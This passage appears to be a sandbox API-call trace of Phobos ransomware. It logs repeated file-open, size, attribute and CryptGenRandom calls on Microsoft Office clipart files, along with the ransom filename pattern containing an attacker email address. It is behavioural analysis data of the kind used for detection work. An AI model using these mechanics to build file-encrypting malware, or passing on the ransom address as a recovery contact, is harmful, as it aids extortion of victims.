GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241077.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241077.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241077.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.224] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241773.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.226] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3262) returned 1 [0152.226] CloseHandle (hObject=0x564) returned 1 [0152.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241773.wmf")) returned 0x220 [0152.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241773.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241773.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.226] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.227] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1970) returned 1 [0152.227] CloseHandle (hObject=0x564) returned 1 [0152.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241781.wmf")) returned 0x220 [0152.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241781.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.228] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.230] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=31032) returned 1 [0152.230] CloseHandle (hObject=0x564) returned 1 [0152.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250504.wmf")) returned 0x220 [0152.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250504.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.231] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250997.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.233] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=26968) returned 1 [0152.233] CloseHandle (hObject=0x564) returned 1 [0152.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250997.wmf")) returned 0x220 [0152.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250997.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250997.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0250997.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.234] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252629.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.235] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2786) returned 1 [0152.235] CloseHandle (hObject=0x564) returned 1 [0152.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252629.wmf")) returned 0x220 [0152.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252629.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252629.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.235] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252669.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.236] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3926) returned 1 [0152.236] CloseHandle (hObject=0x564) returned 1 [0152.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252669.wmf")) returned 0x220 [0152.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252669.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252669.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0252669.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.237] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0279644.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.238] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=17200) returned 1 [0152.238] CloseHandle (hObject=0x564) returned 1 [0152.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0279644.wmf")) returned 0x220 [0152.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0279644.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0279644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.242] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281243.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.245] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=46516) returned 1 [0152.245] CloseHandle (hObject=0x564) returned 1 [0152.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281243.wmf")) returned 0x220 [0152.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281243.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.245] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281632.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.376] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=14420) returned 1 [0152.376] CloseHandle (hObject=0x580) returned 1 [0152.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281632.wmf")) returned 0x220 [0152.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281632.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281632.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.377] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287415.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.378] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=43020) returned 1 [0152.378] CloseHandle (hObject=0x580) returned 1 [0152.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287415.wmf")) returned 0x220 [0152.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287415.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287415.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.378] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287417.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.379] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=54972) returned 1 [0152.379] CloseHandle (hObject=0x580) returned 1 [0152.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287417.wmf")) returned 0x220 [0152.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287417.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287417.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.379] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287641.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.380] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=35236) returned 1 [0152.380] CloseHandle (hObject=0x580) returned 1 [0152.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287641.jpg")) returned 0x220 [0152.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287641.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287641.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287641.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.380] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287642.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.382] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=17105) returned 1 [0152.382] CloseHandle (hObject=0x580) returned 1 [0152.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287642.jpg")) returned 0x220 [0152.382] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287642.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287642.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.382] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287643.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.383] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16017) returned 1 [0152.383] CloseHandle (hObject=0x580) returned 1 [0152.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287643.jpg")) returned 0x220 [0152.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287643.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287643.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.384] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287644.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.385] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=17349) returned 1 [0152.385] CloseHandle (hObject=0x580) returned 1 [0152.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287644.jpg")) returned 0x220 [0152.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287644.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287644.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.385] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287645.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.387] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=36230) returned 1 [0152.387] CloseHandle (hObject=0x580) returned 1 [0152.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287645.jpg")) returned 0x220 [0152.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287645.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287645.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287645.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.395] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0152.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft 